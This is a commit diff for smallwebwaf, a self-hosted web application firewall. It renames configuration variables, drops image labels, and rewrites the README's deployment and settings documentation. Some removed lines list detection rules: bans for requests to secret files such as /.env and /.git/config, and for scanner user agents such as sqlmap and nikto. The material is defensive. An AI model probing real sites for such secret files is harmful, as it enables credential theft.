Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c7696b4c11 |
No files matched your search
+1
-15
@@ -161,20 +161,6 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
|
|||||||
# ubuntu 26.04, 2026-09-27
|
# ubuntu 26.04, 2026-09-27
|
||||||
FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
|
FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
|
||||||
|
|
||||||
# The image's own labels, in place of the ones it would inherit from
|
|
||||||
# Ubuntu's. script/docker and script/cibuild pass the build arguments;
|
|
||||||
# a build that passes none labels the image unknown rather than leave
|
|
||||||
# Ubuntu's values.
|
|
||||||
ARG VERSION=unknown
|
|
||||||
ARG CREATED=unknown
|
|
||||||
ARG REVISION=unknown
|
|
||||||
LABEL org.opencontainers.image.title="smallwebwaf" \
|
|
||||||
org.opencontainers.image.description="A web application firewall for self-hosted web apps: sww rproxy in front of an app, and sww waf, which decides." \
|
|
||||||
org.opencontainers.image.version="${VERSION}" \
|
|
||||||
org.opencontainers.image.created="${CREATED}" \
|
|
||||||
org.opencontainers.image.revision="${REVISION}" \
|
|
||||||
org.opencontainers.image.source="https://git.eeqj.de/sneak/smallwebwaf"
|
|
||||||
|
|
||||||
# runit's install creates its _runit-log user with minsysusers, which
|
# runit's install creates its _runit-log user with minsysusers, which
|
||||||
# reads this file in place of runit's /usr/lib/sysusers.d/runit.conf.
|
# reads this file in place of runit's /usr/lib/sysusers.d/runit.conf.
|
||||||
# runit's line leaves out the shell, and minsysusers prints a Perl
|
# runit's line leaves out the shell, and minsysusers prints a Perl
|
||||||
@@ -240,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
|
||||||
# built FROM this image can copy rule files of its own beside it.
|
# built FROM this image can copy rule files of its own beside it.
|
||||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||||
|
|
||||||
|
|||||||
@@ -2,20 +2,7 @@
|
|||||||
|
|
||||||
`smallwebwaf` is an MIT-licensed web application firewall, written in Go by
|
`smallwebwaf` is an MIT-licensed web application firewall, written in Go by
|
||||||
[@sneak](https://sneak.berlin), for self-hosted web apps. It refuses the
|
[@sneak](https://sneak.berlin), for self-hosted web apps. It refuses the
|
||||||
requests of misbehaving scrapers, scanners and other abusers before they reach
|
requests of scrapers, scanners and other abusers before they reach an app.
|
||||||
an app.
|
|
||||||
|
|
||||||
With the default settings, a client is banned when it does any of these:
|
|
||||||
|
|
||||||
- makes more than 120 requests in a minute, 1500 in an hour or 6000 in a day;
|
|
||||||
- moves more than `50G` of request and response bodies in an hour, or `100G` in
|
|
||||||
a day;
|
|
||||||
- asks for a secret or backup file, such as `/.env` or `/.git/config`;
|
|
||||||
- sends a user agent that names a security scanner, such as `sqlmap` or `nikto`;
|
|
||||||
- has more than 30 requests in a minute refused as probes or attacks.
|
|
||||||
|
|
||||||
A scraper that does none of these is left alone. A scraper that waits 15 seconds
|
|
||||||
between requests stays under the rate limits.
|
|
||||||
|
|
||||||
## What it does
|
## What it does
|
||||||
|
|
||||||
@@ -23,10 +10,10 @@ A web application firewall reads each request on its way to a web app and
|
|||||||
refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
|
refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
|
||||||
shipped in one image, with two commands that do this together:
|
shipped in one image, with two commands that do this together:
|
||||||
|
|
||||||
- `sww rproxy` is a small reverse proxy in front of one app. It sits behind a
|
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||||
TLS-terminating proxy, such as traefik, nginx or Caddy. It asks `waf` about
|
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
||||||
each request, passes the allowed ones to the app, and passes the app's answers
|
passes the app's answers back. It keeps nothing between requests and writes
|
||||||
back. It writes nothing to disk.
|
nothing to disk.
|
||||||
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
||||||
each client's history. One `waf` serves many sites: a client banned through
|
each client's history. One `waf` serves many sites: a client banned through
|
||||||
one site is refused on all of them, and its requests on all of them count
|
one site is refused on all of them, and its requests on all of them count
|
||||||
@@ -35,26 +22,7 @@ shipped in one image, with two commands that do this together:
|
|||||||
The site keeps answering while `waf` is down, slow or restarting: without an
|
The site keeps answering while `waf` is down, slow or restarting: without an
|
||||||
answer in time, `rproxy` passes the request to the app.
|
answer in time, `rproxy` passes the request to the app.
|
||||||
|
|
||||||
`rproxy` also protects the app on its own, whether or not `waf` answers. With
|
It protects against:
|
||||||
the default settings, `rproxy`:
|
|
||||||
|
|
||||||
- answers `400` to a malformed request, such as a broken header line or a
|
|
||||||
missing `Host`;
|
|
||||||
- answers `405` to a method it does not pass on, such as `TRACE`;
|
|
||||||
- answers `431` to a request line and headers over 32 KiB together;
|
|
||||||
- gives the visitor 60 seconds to send the request line and headers, and then 60
|
|
||||||
seconds more for the whole request to reach the app;
|
|
||||||
- answers `413` to a request body over 100 MiB;
|
|
||||||
- gives the app's answer 30 minutes to reach the visitor, counted from the end
|
|
||||||
of the request;
|
|
||||||
- answers `502` in place of an app's answer whose body is over 1 GiB, or cuts it
|
|
||||||
off if it has started;
|
|
||||||
- closes a kept-open connection after 120 seconds idle.
|
|
||||||
|
|
||||||
`rproxy` does not limit the number of headers. `waf` limits the number of
|
|
||||||
headers and cookies, and the length of the request line and of each header line.
|
|
||||||
|
|
||||||
Together, `rproxy` and `waf` protect against:
|
|
||||||
|
|
||||||
- Scrapers that fetch every page of a site, all day. Each client gets a limit on
|
- Scrapers that fetch every page of a site, all day. Each client gets a limit on
|
||||||
requests and on body bytes per minute, per hour and per day. The defaults
|
requests and on body bytes per minute, per hour and per day. The defaults
|
||||||
@@ -76,7 +44,9 @@ Together, `rproxy` and `waf` protect against:
|
|||||||
limit, so that they are banned sooner;
|
limit, so that they are banned sooner;
|
||||||
- refuse or limit clients on a blocklist, a DNS blocklist, or with a high
|
- refuse or limit clients on a blocklist, a DNS blocklist, or with a high
|
||||||
AbuseIPDB score;
|
AbuseIPDB score;
|
||||||
- ban the clients on AbuseIPDB's blacklist before they send a request.
|
- ban clients named by your own CrowdSec engine.
|
||||||
|
- Slow and oversized requests. Every request and every answer has a time limit
|
||||||
|
and a size limit.
|
||||||
|
|
||||||
For the operator, it:
|
For the operator, it:
|
||||||
|
|
||||||
@@ -88,7 +58,8 @@ For the operator, it:
|
|||||||
|
|
||||||
Not built, and not planned:
|
Not built, and not planned:
|
||||||
|
|
||||||
- TLS and routing by host name. Both stay with the TLS-terminating proxy.
|
- TLS and routing by host name. Both stay with traefik, the reverse proxy in
|
||||||
|
front of `rproxy`.
|
||||||
- Browser challenges such as captchas.
|
- Browser challenges such as captchas.
|
||||||
- A web console, or a configuration file.
|
- A web console, or a configuration file.
|
||||||
- Defence against floods large enough to fill the host's network link.
|
- Defence against floods large enough to fill the host's network link.
|
||||||
@@ -120,61 +91,20 @@ accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
|||||||
The usual setup is three containers on one private network:
|
The usual setup is three containers on one private network:
|
||||||
|
|
||||||
- the app;
|
- the app;
|
||||||
- `rproxy`, in front of the app, which the TLS-terminating proxy forwards to:
|
- `rproxy`, in front of the app, which traefik routes to:
|
||||||
`SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the
|
`SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the
|
||||||
app;
|
app;
|
||||||
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
||||||
files.
|
files.
|
||||||
|
|
||||||
Publish no port of the app or of `waf`. Anything on that network can reach the
|
Point traefik's labels at port 8080 of `rproxy`
|
||||||
app around `rproxy`, and can ask `waf` questions, so the network holds only what
|
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
||||||
you trust. Each further app adds its own container and its own `rproxy`, whose
|
of the app or of `waf`. Anything on that network can reach the app around
|
||||||
|
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
||||||
|
Each further app adds its own container and its own `rproxy`, whose
|
||||||
`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example
|
`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example
|
||||||
below shows this shape.
|
below shows this shape.
|
||||||
|
|
||||||
### The TLS-terminating proxy
|
|
||||||
|
|
||||||
`rproxy` serves plain HTTP. It runs behind any TLS-terminating proxy, such as
|
|
||||||
traefik, nginx or Caddy. The TLS-terminating proxy must:
|
|
||||||
|
|
||||||
- forward each request to port 8080 of `rproxy` over plain HTTP;
|
|
||||||
- keep the visitor's `Host` header;
|
|
||||||
- add the visitor's address to `X-Forwarded-For`;
|
|
||||||
- set `X-Forwarded-Proto` to the scheme the visitor used;
|
|
||||||
- close an unused connection to `rproxy` in under 120 seconds;
|
|
||||||
- connect to `rproxy` from an address in `SWW_RPROXY_TRUSTED_PROXIES`, by
|
|
||||||
default `10.0.0.0/8`, `172.16.0.0/12` or `192.168.0.0/16`.
|
|
||||||
|
|
||||||
From any other address, `rproxy` ignores the forwarded headers and takes the
|
|
||||||
TLS-terminating proxy for the visitor. Every visitor then shares one address,
|
|
||||||
and one ban.
|
|
||||||
|
|
||||||
traefik and Caddy keep the `Host` header and set both forwarded headers by
|
|
||||||
default. traefik's Docker label
|
|
||||||
`traefik.http.services.<name>.loadbalancer.server.port=8080` names the port.
|
|
||||||
Caddy keeps an unused connection for 120 seconds by default, so its site
|
|
||||||
shortens that to 90 seconds:
|
|
||||||
|
|
||||||
```caddyfile
|
|
||||||
reverse_proxy rproxy:8080 {
|
|
||||||
transport http {
|
|
||||||
keepalive 90s
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
By default nginx sends the host in `proxy_pass` as `Host` and sets neither
|
|
||||||
forwarded header, so its site sets all three:
|
|
||||||
|
|
||||||
```nginx
|
|
||||||
location / {
|
|
||||||
proxy_pass http://rproxy:8080;
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### `rproxy` in the app's container
|
### `rproxy` in the app's container
|
||||||
|
|
||||||
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
||||||
@@ -225,13 +155,13 @@ entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
|||||||
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
||||||
an app, and the "`rproxy` beside the app" example below runs one.
|
an app, and the "`rproxy` beside the app" example below runs one.
|
||||||
|
|
||||||
The app's TCP peer is `rproxy`. The app sees the headers the TLS-terminating
|
The app sees the headers traefik sent, with traefik's address added to
|
||||||
proxy sent, with that proxy's address added to `X-Forwarded-For`. So the app
|
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
||||||
must trust `rproxy`'s address for forwarded headers. In a container of its own,
|
`rproxy`'s address for forwarded headers. In a container of its own, `rproxy` is
|
||||||
`rproxy` is on the private network, which the usual default of a trusted-proxy
|
on the private network, which the usual default of a trusted-proxy setting
|
||||||
setting covers. Beside the app, its address is `127.0.0.1` or `::1`, which the
|
covers. Beside the app, its address is `127.0.0.1` or `::1`, which the private
|
||||||
private ranges leave out, so the app's own setting must name them too, as
|
ranges leave out, so the app's own setting must name them too, as `app.run`
|
||||||
`app.run` does.
|
does.
|
||||||
|
|
||||||
### Checking that it works
|
### Checking that it works
|
||||||
|
|
||||||
@@ -239,7 +169,7 @@ private ranges leave out, so the app's own setting must name them too, as
|
|||||||
`healthy` for each container of `smallwebwaf`.
|
`healthy` for each container of `smallwebwaf`.
|
||||||
- A log line with `"msg":"starting"` gives the version, the address and every
|
- A log line with `"msg":"starting"` gives the version, the address and every
|
||||||
setting in effect, with secrets masked.
|
setting in effect, with secrets masked.
|
||||||
- A request to the site through the TLS-terminating proxy gets the app's answer.
|
- A request to the site through traefik gets the app's answer.
|
||||||
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
||||||
request have `"action":"forward"`.
|
request have `"action":"forward"`.
|
||||||
- To see a refusal without banning yourself, run `waf` with
|
- To see a refusal without banning yourself, run `waf` with
|
||||||
@@ -282,13 +212,9 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
setting takes it.
|
setting takes it.
|
||||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||||
app's response bodies, the visitors' request bodies, or both, as
|
app's response bodies, the visitors' request bodies, or both, as
|
||||||
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
|
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
|
||||||
over a WebSocket counts as request bytes, and what the app sent as response
|
over a WebSocket counts as request bytes, and what the app sent as response
|
||||||
bytes.
|
bytes.
|
||||||
- An anomaly is more requests or bytes than an `SWW_WAF_ANOMALY_` threshold
|
|
||||||
allows. Crossing a threshold sends one `anomaly` alert to the alert
|
|
||||||
destinations, and does nothing else: no client is banned, rate limited or
|
|
||||||
blocked.
|
|
||||||
- An invalid setting stops the process at start with one log line naming the
|
- An invalid setting stops the process at start with one log line naming the
|
||||||
variable and what is wrong with the value. The settings in effect are logged
|
variable and what is wrong with the value. The settings in effect are logged
|
||||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||||
@@ -296,24 +222,24 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| --------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` gives no answer in time, and while the circuit breaker for asks to `waf` is open: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `host1/waf`. |
|
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps for broken limits and attacks; bans an admin made and bans for AbuseIPDB's blacklist do not count. |
|
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
@@ -321,39 +247,39 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||||
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||||
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||||
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, in milliseconds. The request to GeoJS goes on, and a later answer is kept. |
|
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `true`, or `false` while the lookup source is `off` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||||
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||||
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||||
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||||
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||||
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
|
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
